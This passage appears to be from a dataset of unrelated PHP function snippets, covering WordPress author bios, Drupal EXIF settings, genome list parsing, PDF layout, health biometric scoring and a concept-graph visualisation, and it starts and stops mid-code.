{\n color: #000;\n font-weight: bold;\n position: relative;\n top: -4px;\n }\n #contact-modal-link img {\n position: relative;\n top: 3px;\n }\n span#twitter-follow {\n margin-left: 5px;\n }\n #contact-button-seperator {\n height: 15px;\n }\n </style>\n ';\n }\n // if the bio has a twitter handle associated add the follow button to $markup\n if ( !empty($person_twitter_handle) ) {\n $markup .= '<span id=\"twitter-follow\"><a href=\"https://twitter.com/'.$person_twitter_handle.'\" class=\"twitter-follow-button\" data-show-count=\"false\" data-lang=\"en\">' . __('Follow', 'cap-byline') . ' @'.$person_twitter_handle.'</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script></span>';\n }\n\n $markup .= '</div>'; // close out .bio\n $markup .= '</div>'; // close out .person-bio\n $markup .= '</div>'; // close out .person .$style\n\n echo $markup;\n }", "function addBio($bio, $db) {\n $query = $db->prepare(\"INSERT INTO Bio (Titre, Description) VALUES (?)\");\n $query->execute([$bio[\"Titre\"], $bio[\"Description\"]]);\n}", "function displayOrganismWgenome(&$annot_list){\n global $genome_list_file; $lines=file($genome_list_file);\n foreach($lines as $line){\n list($orgg,$org,$version,$data)=explode(\",\",$line);\n if($version!=\"version\")$annot_list[]=array('organism'=>array('name'=>$org,'version'=>$version));\n }\n}", "function ucsc_displayOrganismWgenome(&$annot_list){\n global $ugenome_list_file; $lines=file($ugenome_list_file);\n foreach($lines as $line){\n list($orgg,$org,$version,$data)=explode(\",\",$line);\n if($version!=\"version\")$annot_list[]=array('organism'=>array('name'=>$org,'version'=>$version));\n }\n}", "function cl_habitcandidatointeresseprograma() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"habitcandidatointeresseprograma\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function updateBio($input) {\n\t\t// and should be implemented by you\n\n\n\t\t// Prepare SQL Values\n\t\t$sql_values = [\n\t\t\t'user_id' => $_SESSION['user_id'],\n\t\t\t'bio' => $input['bio-text']\n\t\t];\n\n\t\t// Ensure values are encompased with quote marks\n\t\t$sql_values = db::array_in_quotes($sql_values);\n\n\t\t// Insert\n\t\t$results = db::insert_duplicate_key_update('user', $sql_values, 'WHERE user_id =\\'{$this->user_id}\\'');\n\t\t\n\t\t// Return a new instance of this user as an object\n\t\treturn new User($this->user_id);\n\n\t}", "function skin_sets_overview($content) {\n\n$IPBHTML = \"\";\n//--starthtml--//\n\n$IPBHTML .= <<<EOF\n<div class='tableborder'>\n <div class='tableheaderalt'>\n <table cellpadding='0' cellspacing='0' border='0' width='100%'>\n <tr>\n <td align='left' width='95%' style='font-size:12px; vertical-align:middle;font-weight:bold; color:#FFF;'>Стили</td>\n <td align='right' width='5%' nowrap='nowrap'>\n <img id=\"menumainone\" src='{$this->ipsclass->skin_acp_url}/images/filebrowser_action.gif' border='0' alt='Опции' class='ipd' /> &nbsp;\n </td>\n </tr>\n</table>\n </div>\n <table cellpadding='0' cellspacing='0' width='100%'>\n $content\n </table>\n <div align='center' class='tablefooter'>&nbsp;</div>\n</div>\n<br />\n<div><strong>Информация:</strong><br />\n<img src='{$this->ipsclass->skin_acp_url}/images/skin_item_altered.gif' border='0' alt='+' title='Изменен от начального варианта шаблона' /> Изменен от начального варианта шаблона.\n<br /><img src='{$this->ipsclass->skin_acp_url}/images/skin_item_unaltered.gif' border='0' alt='-' title='Не изменен от начального варианта шаблона' /> Не изменен от начального варианта шаблона.\n<br /><img src='{$this->ipsclass->skin_acp_url}/images/skin_item_inherited.gif' border='0' alt='|' title='Унаследованный от начального варианта шаблона' /> Унаследованный от начального варианта шаблона.\n</div>\n<div id='menumainone_menu' style='display:none' class='popupmenu'>\n\t<form action='{$this->ipsclass->base_url}&{$this->ipsclass->form_code}&code=addset&id=-1' method='POST'>\n\t<div align='center'><strong>Создать новый стиль</strong></div>\n\t<div align='center'><input type='text' name='set_name' size='20' value='Введите название стиля' onfocus='this.value=\"\"'></center></div>\n\t<div align='center'><input type='submit' value='Создать' class='realdarkbutton' /></div>\n\t</form>\n</div>\n<script type=\"text/javascript\">\n\tipsmenu.register( \"menumainone\" );\n</script>\nEOF;\nif ( IN_DEV == 1 )\n{\n$IPBHTML .= <<<EOF\n<br />\n<div align='center'>\n Экспорт данных: <a href='{$this->ipsclass->base_url}&{$this->ipsclass->form_code}&code=exportmaster'>Все HTML шаблоны главного стиля</a>\n &middot; <a href='{$this->ipsclass->base_url}&{$this->ipsclass->form_code}&code=exportbitschoose'>Выбрать HTML шаблоны</a>\n &middot; <a href='{$this->ipsclass->base_url}&{$this->ipsclass->form_code}&code=exportmacro'>Макросы главного стиля</a>\n</div>\n<br />\nEOF;\n}\n\n//--endhtml--//\nreturn $IPBHTML;\n}", "public function afficherInformation()\n {\n //la version de la méthode implémenté dans la classe parent (Personne)\n return \"le héro est \".$this->pseudo.\" et est un \".$this->getCote();\n }", "function exif_admin_settings() {\n drupal_add_css(drupal_get_path('module', 'exif') .'/exif.admin.css');\n $filepath = drupal_get_path('module', 'exif') .'/sample.jpg';\n $exif = _exif_get_class();\n $fullmetadata = $exif->readMetadataTags($filepath);\n $output = '';\n $output .= '<h3>' . t('About') . '</h3>';\n $output .= '<p>' . t('The Exif module allows you :');\n $output .= '<ul><li>' . t('extract metadata from an image'). '</li>';\n $output .= '<li>' . t('to classify your images by settings terms in taxonamy vocabulary'). '</li></ul>';\n $output .= t('To classify images, you define <em>vocabularies</em> that contain related <em>terms</em>, and then assign the vocabularies to content types. For more information, see the online handbook entry for the <a href=\"@taxonomy\">Taxonomy module</a>.', array('@taxonomy' => 'http://drupal.org/handbook/modules/taxonomy/'));\n $output .= '</p>';\n $output .= '<h3>' . t('Uses') . '</h3>';\n $output .= '<dl>';\n $output .= '<dt>' . t('Creating vocabularies') . '</dt>';\n $output .= '<dd>' . t('Users with sufficient <a href=\"@perm\">permissions</a> can create <em>vocabularies</em> through the <a href=\"@taxo\">Taxonomy page</a>. The page listing the terms provides a drag-and-drop interface for controlling the order of the terms and sub-terms within a vocabulary, in a hierarchical fashion. A <em>controlled vocabulary</em> classifying music by genre with terms and sub-terms could look as follows:', array('@taxo' => url('admin/structure/taxonomy'), '@perm' => url('admin/config/people/permissions', array('fragment'=>'module-taxonomy'))));\n $output .= t('This module will automatically create in the chosen vocabulary (by default \"Images\"), the folowing structure:');\n $output .= '<ul><li>' . t ('<em>vocabulary</em>: Images'); '</li>';\n $output .= '<ul><li>' . t('<em>term</em>: iptc') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: keywords') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: Paris') . '</li>';\n $output .= '<li>' . t('<em>sub-term</em>: Friends') . '</li>';\n $output .= '</ul></ul>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: caption') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: Le louvre') . '</li>';\n $output .= '</ul></ul></ul>';\n $output .= '<ul><li>' . t('<em>term</em>: exif') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: model') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: KINON DE800') . '</li>';\n $output .= '</ul></ul>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: isospeedratings') . '</li>';\n $output .= '<ul><li>' . t('<em>sub-term</em>: 200') . '</li>';\n $output .= '</ul></ul></ul></ul>';\n $output .= '<dd>' . t('To get metadata information of an image, you have to choose on which node type the extraction should be made.');\n $output .= t('You also have to create fields with specific names using the new Field UI.');\n $output .= t('The type of the field can be :');\n $output .= '<ul><li>' . t ('<em>text field</em>: extract information and put it in the text field.'). '</li>';\n $output .= '<li>' . t ('<em>term reference field</em>: extract information, create terms and sub-terms if needed and put it in the field.').'</li>';\n $output .= '</ul>';\n $output .= t('Please, if you want to use term reference field, ensure :');\n $output .= '<ul><li>' . t('you choose the autocompletion widget and').'</li>';;\n $output .= '<li>' . t ('the \"Images\" Vocabulary exist.').'</li>';\n $output .= '</ul>';\n $output .= t('TIPS : Note for iptc and exif fields that have several values (like field iptc \"keywords\" as an example), ');\n $output .= t('if you want to get all the values, do not forget to configure the field to use unlimited number of values (by default, set to 1).');\n $output .= '</dd>';\n $output .= '</dl>';\n $output .= '<h3>' . t('Example of field name and the metadata extracted') . '</h3>';\n $rows = array();\n $help = '';\n if(is_array($fullmetadata)){\n foreach ($fullmetadata as $section => $section_data) {\n $rows[] = array('data'=>array($section,$help), 'class' => array('tag_type'));\n foreach ($section_data as $key => $value) {\n if ($value != NULL && $value != '' && !$exif->startswith($key,'undefinedtag')) {\n $resultTag = \"\";\n if (is_array($value)) {\n foreach($value as $innerkey => $innervalue) {\n if( ($innerkey+1) != count($value) ) {\n $resultTag.=$innervalue.\", \";\n } else {\n $resultTag.=$innervalue;\n }\n }\n } else {\n $resultTag=check_plain($value);\n }\n $rows[] = array('data'=>array(\"field_\".$section.\"_\".$key,$resultTag), 'class' => array('tag'));\n }\n }\n }\n }\n $header = array(t('Key'),t('Value'));\n $output .= '<p>';\n $variables = array (\"header\" => $header, \"rows\" => $rows, \"attributes\" => array(), \"caption\" => array(),\"sticky\" => array(), \"colgroups\" => array(), \"empty\" => array() );\n $output .= theme_table($variables);\n $output .= '</p>';\n return $output;\n}", "function getIdHistorialCambio() {\r\n return $this->idHistorialCambio;\r\n }", "public function getBiography()\n {\n return 'Etienne is passionate about clean code, Good music '\n . 'and great coffee. He loves coding for the web and create '\n . 'amazing api\\'s';\n }", "function tpps_details_study(array &$state) {\n $rows = array();\n\n $species = array();\n for ($i = 1; $i <= $state['stats']['species_count']; $i++) {\n $id = $state['ids']['organism_ids'][$i];\n $species_name = $state['saved_values'][TPPS_PAGE_1]['organism'][$i]['name'];\n $species[] = tpps_entity_link($id, $species_name, 'Organism');\n }\n\n $study_types = array(\n 1 => 'Natural Population (Landscape)',\n 2 => 'Growth Chamber',\n 3 => 'Greenhouse',\n 4 => 'Experimental/Common Garden',\n 5 => 'Plantation',\n );\n\n $files = array();\n $study_file_ids = tpps_details_get_study_file_ids($state);\n // foreach ($state['files'] as $fid) {\n foreach ($study_file_ids as $fid) {\n $file = file_load($fid);\n if ($file) {\n $file_url = check_plain(file_create_url($file->uri));\n if(stripos($file_url, 'core/labs') === FALSE) {\n $files[] = \"<a href='$file_url' target='blank'>$file->filename</a>\";\n }\n \n }\n }\n\n $pub_link = $state['title'];\n $pub_id = db_select('chado.project_pub', 'p')\n ->fields('p', array('pub_id'))\n ->condition('project_id', $state['ids']['project_id'])\n ->execute()->fetchObject()->pub_id;\n if (!empty($pub_id)) {\n $bundle = tripal_load_bundle_entity(array('label' => 'Publication'));\n $pub_id = chado_get_record_entity_by_bundle($bundle, $pub_id);\n $pub_link = \"<a href='$base_url/Publication/$pub_id'>$pub_link</a>\";\n }\n $rows[] = array('Accession', $state['accession']);\n $rows[] = array('Title', $pub_link);\n $rows[] = array('Authors', implode(', ', $state['authors']));\n $rows[] = array('Species', implode('<br>', $species));\n $rows[] = array('Data Type', $state['saved_values'][TPPS_PAGE_2]['data_type']);\n $rows[] = array(\n 'Study Type',\n $study_types[$state['saved_values'][TPPS_PAGE_2]['study_type']],\n );\n $rows[] = array('File Downloads', implode('<br>', $files));\n $rows[] = array('Population Size', $state['stats']['tree_count']);\n if (!empty($state['stats']['phenotype_count'])) {\n $rows[] = array('Phenotype Count', $state['stats']['phenotype_count']);\n }\n if (!empty($state['stats']['unique_phenotypes'])) {\n $rows[] = array('Unique Phenotypes', $state['stats']['unique_phenotypes']);\n }\n // @todo genotype counts.\n // $rows[] = array('Genotype Count', $state['stats']['genotype_count']);\n $vars = array(\n 'header' => array(),\n 'rows' => $rows,\n 'attributes' => array(\n 'class' => array('view'),\n 'id' => 'tpps_table_display',\n ),\n 'caption' => '',\n 'colgroups' => NULL,\n 'sticky' => FALSE,\n 'empty' => '',\n );\n return theme('table', $vars);\n}", "public function plot($pid,$namespace='') {\n $this->setTempFile();\n\n // Config\n $fontName = ($this->controller->configurations->get('graphvizFontName'))? 'fontname=\"'.$this->controller->configurations->get('graphvizFontName').'\"' : '';\n $fontSize = ($this->controller->configurations->get('graphvizFontSize'))? 'fontsize=\"'.$this->controller->configurations->get('graphvizFontSize').'\"' : '';\n \n\n $this->appendToFile('digraph siwiki_relations {');\n $this->appendToFile('graph [label=\"siwiki relations\\ngenerated '.date('r').'\" '.$fontName.' '.$fontSize.' ];');\n $this->appendToFile('node [ '.$fontName.' '.$fontSize.' ];');\n\n // Admin mode... display the whole wiki... this can be huge!\n if(empty($namespace)) {\n $this->getNamespaces($pid);\n\n foreach($this->namespaces as $namespace) {\n $this->appendToFile('subgraph cluster'.$namespace['uid'].' { '.chr(10).'label = '.$this->quote($namespace['name']).';');\n $this->getAllArticles($pid,$namespace['uid']);\n $this->getAllFutureArticles($pid,$namespace['uid']);\n\n $this->appendToFile('} // end cluster'.$namespace['uid']);\n\n $this->getAllReferencesToArticles($pid);\n $this->getAllReferencesToFutureArticles($pid);\n\n }\n\n }\n\n // Standard Display Mode in panel... display only namespace informations!\n else {\n $this->getNamespace($namespace);\n $this->appendToFile('subgraph cluster'.$this->namespace['uid'].' { '.chr(10).'label = '.$this->quote($this->namespace['name']).';');\n $this->getAllArticles($pid,$this->namespace['uid']);\n $this->getAllFutureArticles($pid,$this->namespace['uid']);\n\n $this->appendToFile('} // end cluster'.$this->namespace['uid']);\n\n $this->getAllReferencesToArticlesInThisNamespace($pid,$this->namespace['uid']);\n $this->getAllReferencesToFutureArticlesInThisNamespace($pid,$this->namespace['uid']);\n }\n\n\n $this->appendToFile('} // end digraph ');\n\n $this->plotWithGraphviz();\n\n $entry = new tx_lib_object(array('plotRelations' => $this->png));\n $this->append($entry);\n\n // Delete the temporary file\n unlink($this->filename);\n\n }", "function Contenido($imagenlogo) {\n \t$this->SetMargins(10,10,151.5);\n\n \t//declaramos las fuentes a usar o tentativamente a usar ya que no sabemos cual es la original\n\t $this->AddFont('Gotham-B','','gotham-book.php');\n\t $this->AddFont('Gotham-B','B','gotham-book.php');\n\t $this->AddFont('Gotham-M','','gotham-medium.php');\n\t $this->AddFont('Helvetica','','helvetica.php');\n\n //variables locales\n $numero_de_presidiums=6;\n\n $presidium_orden=\"1\";\n $presidium_nombre=\"Cesar Gibran Cadena Espinosa de los Monteros\";\n $presidium_cargo=\"Dirigente de Redes y Enlaces \";\n\n \t//la imagen del PVEM\n \t$this->Image($imagenlogo, $this->GetX()+10, $this->GetY()+10, 100,40);\n\n \t//el primer espacio\n \t$this->Ln(3);\n $this->SetFillColor(231, 234,243); //color de fondo donde se va a rellenar los campos (como azul claro)\n $this->SetFont('Helvetica', '', 9); //font de cuando se va a rellenar la informacion\n $this->SetTextColor(0,0,0); //color gris para las letras\n $this->Cell(35, 5,utf8_decode(\"Distribución Logística:\"), 0,0, 'C', 1);\n\n $this->setY($this->GetY()+45);\n $this->Ln();\n $this->SetFillColor(231, 234,243); //color de fondo donde se va a rellenar los campos (como azul claro)\n $this->SetFont('Helvetica', '', 9); //font de cuando se va a rellenar la informacion\n $this->SetTextColor(0,0,0); //color gris para las letras\n $this->Cell(40, 5,utf8_decode(\"Presídium (Primera Fila):\"), 0,0, 'C', 1);\n\n $this->Ln(); \n $this->Ln(); \n\n $this->SetFillColor(160,68,68); //color de fondo donde se va a rellenar los campos (como azul claro)\n $this->SetTextColor(255); //color gris para las letras\n $tamano= ($numero_de_presidiums*7.5)/2;\n $this->setX((120/2)-$tamano);\n\n if ( ($numero_de_presidiums) % 2 ==1){ //es impar\n $candidato=($numero_de_presidiums/2)+.5;\n }else{\n $candidato=($numero_de_presidiums/2)+1;\n }\n\n for($i=0;$i<=$numero_de_presidiums;$i++){\n\n if ( ($i+1) == $candidato ){\n $this->Cell(7, 7,utf8_decode(\"*\"), 1, 0, 'C', 1);\n }else{\n $this->Cell(7, 7,utf8_decode(\"\"), 1, 0, 'C', 1); \n }\n }\n $this->Ln(); \n $this->Ln(5); \n\n\n //CONFIGURACION DE COLOR VERDE CON BLANCO\n $this->SetFont('Gotham-B','',6.5);\n $this->SetFillColor(73, 168, 63);\n $this->SetTextColor(255);\n $this->Cell(9, 5,utf8_decode(\"Orden\"), 'LR', 0, 'C', 1);\n $this->Cell(55, 5,utf8_decode(\"Nombre\"), 'LR', 0, 'C', 1);\n $this->Cell(0, 5,utf8_decode(\"Cargo\"), 'LR', 0, 'C', 1);\n\n\n $this->Ln(); \n\n\n //CONFIGURACION SIN COLOR de fondo\n $this->SetFont('Helvetica', '', 6.5); //font de cuando se va a rellenar la informacion\n $this->SetFillColor(255, 255, 255);\n $this->SetTextColor(0);\n\n\n //ESTO ES LO QUE IRIA EN UN FOR\n for($i=0;$i<=7;$i++){\n \n $this->Cell(9, 5,utf8_decode($presidium_orden), 1, 0, 'C', 1);\n $this->Cell(55, 5,utf8_decode($presidium_nombre), 1, 0, 'C', 1);\n $this->MultiCell(0, 5,utf8_decode($presidium_cargo), 1, 'C', 1);\n $this->Ln(1);\n } \n \n }", "public function updateBio($params)\n {\n $bio = $this->filterPost ('bio');\n if (!isNull ($bio))\n {\n Core::getBdd ()->update (\n array (\"bio\" => $bio), 'c_user', array (\"id\" => $_SESSION['muffin_id']));\n echo \"1\";\n }\n else\n {\n echo \"1\";\n }\n }", "function circle_author_biography() {\n\tif ( ! circle_option( 'display_author_bio' ) ) {\n\t\treturn;\n\t}\n\tget_template_part( 'template-parts/biography' );\n}", "public function mostrarInfo()\n {\n // $datos.= \"Cuatrimestre\".$this->cuatrimestre;\n // return parent::mostrarInfo().\" \".$datos;\n }", "private function score_biometric_data(){\t\t\r\n\t\t$data = $this->data['biometric_data'];\r\n\t\t$bp_systolic = $data['bp_systolic'];\r\n\t\tif ($bp_systolic > 140) $bp_systolic = 1;\r\n\t\telse if ($bp_systolic > 120) $bp_systolic = 3;\r\n\t\telse if ($bp_systolic == 0) $bp_systolic = 0;\r\n\t\telse $bp_systolic = 5;\r\n\t\t\t\r\n\t\tif ($data['bp_diastolic'] > 90) $bp_diastolic = 1;\r\n\t\telse if ($data['bp_diastolic'] > 80) $bp_diastolic = 3;\r\n\t\telse if ($data['bp_diastolic'] == 0) $bp_diastolic = 0;\r\n\t\telse $bp_diastolic = 5;\r\n\t\t\r\n\t\t$body_fat = 5;\r\n\t\tif ($this->demographics['gender'] == \"M\") {\r\n\t\t\tif ($this->demographics['age'] >= 60){\r\n\t\t\t\tif ($data['body_fat'] > 24.1) $body_fat = 1;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else if ($this->demographics['age'] >= 40) {\r\n\t\t\t\tif ($data['body_fat'] > 24.1) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 23.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else{\r\n\t\t\t\tif ($data['body_fat'] > 23.5) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 19.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\t\t\t\t\t\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\tif ($this->demographics['age'] >= 60) {\r\n\t\t\t\tif ($data['body_fat'] > 31.5) $body_fat = 1;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else if ($this->demographics['age'] >= 40) {\r\n\t\t\t\tif ($data['body_fat'] > 31.5) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 30.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else{\r\n\t\t\t\tif ($data['body_fat'] > 30.5) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 23.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\t\t\t\t\t\r\n\t\t\t}\t\t\t\t\r\n\t\t}\r\n\r\n\t\t$waist = 5;\r\n\t\tif ($this->demographics['gender'] == 'M') {\r\n\t\t\tif ($data['waist'] > 40) {\r\n\t\t\t\t$waist = 1;\r\n\t\t\t}\r\n\t\t\telse if ($data['waist'] == 0) {\r\n\t\t\t\t$waist = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif ($data['waist'] > 35) {\r\n\t\t\t\t$waist = 1;\r\n\t\t\t}\r\n\t\t\telse if ($data['waist'] == 0) {\r\n\t\t\t\t$waist = 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$bmi = 3;\r\n\t\tif ($data['bmi'] > 30) $bmi = 1;\r\n\t\telse if ($data['bmi'] > 25) $bmi = 3;\r\n\t\telse if ($data['bmi'] > 18) $bmi = 5;\r\n\t\telse if ($data['bmi'] == 0) $bmi = 0;\r\n\t\t$data['bmi'] = sprintf(\"%.1f\", $data['bmi']);\r\n\r\n\t\t$blood_glucose = 5;\r\n\t\tif ($data['blood_glucose'] > 200) $blood_glucose = 1;\r\n\t\telse if ($data['blood_glucose'] > 129) $blood_glucose = 3;\t\t\t\r\n\t\telse if ($data['blood_glucose'] == 0) $blood_glucose = 0;\r\n\t\t\r\n\t\t$cholesterol = 5;\r\n\t\tif ($data['cholesterol'] > 239) $cholesterol = 1;\r\n\t\telse if ($data['cholesterol'] > 199) $cholesterol = 3;\t\t\t\r\n\t\telse if ($data['cholesterol'] == 0) $cholesterol = 0;\r\n\t\t\t\t\t\r\n\t\t$triglycerides = 5;\r\n\t\tif ($data['triglycerides'] > 200) $triglycerides = 1;\r\n\t\telse if ($data['triglycerides'] > 149) $triglycerides = 3;\t\t\t\r\n\t\telse if ($data['triglycerides'] == 0) $triglycerides = 0;\r\n\t\t\t\t\t\r\n\t\t$hdl = 1;\r\n\t\tif ($this->demographics['gender'] == 'F') {\r\n\t\t\tif ($data['hdl'] > 40) $hdl = 5;\r\n\t\t\telse if ($data['hdl'] > 30) $hdl = 3;\r\n\t\t\telse if ($data['hdl'] == 0) $hdl = 0;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif ($data['hdl'] > 50) $hdl = 5;\r\n\t\t\telse if ($data['hdl'] > 35) $hdl = 3;\r\n\t\t\telse if ($data['hdl'] == 0) $hdl = 0;\r\n\t\t}\r\n\r\n//\t\tif($data['hdl']>59) $hdl=5;\r\n//\t\telse if($data['hdl']>40) $hdl=3;\r\n//\t\telse if($data['hdl']==0) $hdl=0;\r\n\r\n\t\t$ldl = 5;\r\n\t\tif ($data['ldl'] > 140) $ldl = 1;\r\n\t\telse if ($data['ldl'] > 100) $ldl = 3;\r\n\t\telse if ($data['ldl'] == 0) $ldl = 0;\r\n\r\n\t\tif($data['hdl'] > 0 && $data['cholesterol'] > 0)\r\n\t\t\t$ratio = $data['cholesterol'] / $data['hdl'];\r\n\t\telse\r\n\t\t\t$ratio = 0;\r\n\t\t\r\n\t\t$ratio = sprintf(\"%.1f\", $ratio);\r\n\r\n\t\t$tc_hdl = 5;\r\n\t\tif ($ratio > 4.5) $tc_hdl = 1;\r\n\t\telse if ($ratio == 0) $tc_hdl = 0;\r\n\r\n\r\n\t\t$hemoglobin = 5;\r\n\t\tif ($data['hemoglobin'] == 0)\r\n\t\t\t$hemoglobin = 0;\r\n\t\telse if (($data['hemoglobin'] < 4.0) || ($data['hemoglobin'] > 6.0)) {\r\n\t\t\t$hemoglobin = 1;\r\n\t\t}\r\n\r\n\t\t$cotinine = 5;\r\n\t\tif ($data['cotinine'] > 0) {\r\n\t\t\t$cotinine = 1;\r\n\t\t}\r\n\r\n\t\t$ob = new stdClass();\r\n\t\t$ob->total = 0;\r\n\t\t$ob->data = array('bp_systolic' => array($bp_systolic,.0625, 0.0, $data['bp_systolic']),\r\n\t\t\t\t\t\t'bp_diastolic' => array($bp_diastolic,.0625, 0.0, $data['bp_diastolic']),\r\n\t\t\t\t\t\t'body_fat' => array($body_fat,.125, 0.0, $data['body_fat']),\r\n\t\t\t\t\t\t'bmi' => array($bmi,.0625, 0.0, $data['bmi']),\r\n\t\t\t\t\t\t'waist' => array($waist, .0625, 0.0, $data['waist']),\r\n\t\t\t\t\t\t'blood_glucose' => array($blood_glucose,.0417, 0.0, $data['blood_glucose']),\r\n\t\t\t\t\t\t'hemoglobin' => array($hemoglobin,.0417, 0.0, $data['hemoglobin']),\r\n\t\t\t\t\t\t'cotinine' => array($cotinine,.0416, 0.0, $data['cotinine']),\r\n\t\t\t\t\t\t'cholesterol' => array($cholesterol,.1, 0.0, $data['cholesterol']),\r\n\t\t\t\t\t\t'triglycerides' => array($triglycerides,.1, 0.0, $data['triglycerides']),\r\n\t\t\t\t\t\t'hdl' => array($hdl,.1, 0.0, $data['hdl']),\r\n\t\t\t\t\t\t'ldl' => array($ldl,.1, 0.0, $data['ldl']),\r\n\t\t\t\t\t\t'tc_hdl' => array($tc_hdl,.1, 0.0, $ratio));\r\n\t\tforeach($ob->data as &$rec){\r\n\t\t\t$rec[2] = $rec[0] * $rec[1];\r\n\t\t\t$ob->total += $rec[2];\r\n\t\t}\r\n\t\treturn $ob;\r\n\t}", "function createMetaData()\n\t{\n\t\tparent::createMetaData();\n\t\t$this->saveAuthorToMetadata();\n\t}", "abstract protected function setup_info();", "function opensky_islandora_scholar_get_metadata_display (&$display, $object, $weight) {\n\n if (variable_get('islandora_scholar_use_standard_metadata_display', FALSE)) {\n module_load_include('inc', 'islandora', 'includes/metadata');\n // Borrowing core JS for fieldsets. \n drupal_add_js('misc/form.js');\n drupal_add_js('misc/collapse.js');\n $metadata = islandora_retrieve_metadata_markup($object);\n $description = islandora_retrieve_description_markup($object);\n \n $doi_link = opensky_retrieve_doi_markup($object);\n\n // Insert 'in collections' display element from opensky \n $in_collections = opensky_get_in_collections_display($object);\n\n $display['#markup'] = $doi_link . $description . $in_collections . $metadata;\n }\n\n}", "public function ogs()\r\n {\r\n }", "protected function loadMetaData() {}", "abstract function getDescription();", "function register_block_core_post_author_biography()\n {\n }", "private function aggregateVizDataNodeLink()\n {\n global $PLACEWEB_CONFIG;\n \n $nodeLinkCollection = array();\n $conceptIdsA = array();\n $tagIdsA = array();\n $examplesIdsA = array();\n $questionsIdsA = array();\n \t\n\t\t// create home node\n\t\t$myHomeNode = new EloNode();\n\t\t\n\t\t// set vals for that node : id and name\n\t\t$myHomeNode->id = $_SESSION['group_name'];\n\t\t$myHomeNode->name = $_SESSION['group_name'];\n\t\t\n\t\t// custom data attributes\n\t\t$myHomeNode->setDataAttribute(\"elo\", \"Home\");\n\t\t\n\t\t// redefine JIT essential attr\n\t\t$myHomeNode->setDataAttribute('$type', 'star');\n\t\t$myHomeNode->setDataAttribute('$color', '#475DFF');\n\t\t\n\t\t////////////////////////////////////////////////////////\n\n\t\t// if \"all concepts\" is NOT selected\n\t\tif(isset($this->params['conceptId']) && !in_array('0', $this->params['conceptId'])) {\n\t\t\t$conceptIds = $this->params['conceptId'];\n\t\t\t$concepts = Doctrine_Query::create()\n //->select(\"*\")\n ->from(\"Concept\")\n ->whereIn(\"id\", $conceptIds)\n ->andWhere(\"run_id = ?\", $_SESSION['run_id'])\n ->execute();\n\t\t} else {\n\t // get concepts for current run_id\n\t $concepts = Doctrine::getTable(\"Concept\")\n\t ->findByDql(\"run_id = ?\", $_SESSION['run_id']);\n\t\t}\n\n\t\t// add concepts\n\t\tforeach ($concepts as $concept)\n {\n \t$conceptIdsA[] = \"CON_\".$concept->id;\n\n \t// create concept node\n\t\t\t$myConNode = new EloNode();\n\t\t\t\n\t\t\t// set vals for that node : id and name\n\t\t\t$myConNode->id = \"CON_\".$concept->id;\n\t\t\t$myConNode->name = $concept->name;\n\t\t\t\n\t\t\t// custom data attributes\n\t\t\t$myConNode->setDataAttribute(\"elo\", \"Concept\");\n \t\n\t\t\t// create Adjacency Object\n\t\t\t$conAdjency = new EloNodeAdjacency($myConNode->id, $myHomeNode->id);\n\t\t\t\n\t\t\t// add concept as adjacency to home node\n\t\t\t$myHomeNode->addAdjacency($conAdjency);\n\n\t\n\t\t\t///////////////////////////////////\n\t\t\t// find examples\n\t\t\t\n\t\t\t$exWhereFields = 'ec.run_id = ? AND ec.concept_id = ?';\n\t\t\t$exWhereData = array($_SESSION['run_id'], $concept->id);\n\t\t\t\n\t\t\t$queryArray = $this->buildExSqlQuery($exWhereFields, $exWhereData);\n\t\t\t\n\t\t\t$this->view->data = $queryArray;\n\t\t\t\n\t\t\t\t$q = Doctrine_Query::create()\n\t\t\t\t->select (\"ec.id, e.id, e.name, e.content, e.media_content, e.media_type, u.display_name\")\n\t\t\t\t->from(\"ExampleConcept ec\")\n\t\t\t\t->innerJoin(\"ec.Example e\")\n\t\t\t\t->innerJoin(\"e.User u\")\n\t\t\t\t->where($queryArray[0], $queryArray[1]);\n\n\t\t\t$examples = $q->fetchArray();\n\n \t\t\t// add examples attached to this concept\n\t\t\tif(isset($examples) && count($examples!=0) && $this->params['vizEx']==1) \n\t\t\t{\n\t\t\t\tforeach($examples as $exConcept)\n\t\t\t\t{\n\t\t\t\t\t// get votes for an example_concept\n\t\t\t\t\t$ex_con_votes = array();\n\t\t\t\t\t$ex_con_votes = $this->countVotes($exConcept['id'], 4);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Tag Node\n\t\t\t\t\t */\n\t\t\t\t\t$tagIdsA[] = \"EX_CON_TAG_\".$exConcept['id'];\n\t\t\t\t\t\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$exTagSum = new EloNode();\n\n\t\t\t\t\t// set vals for 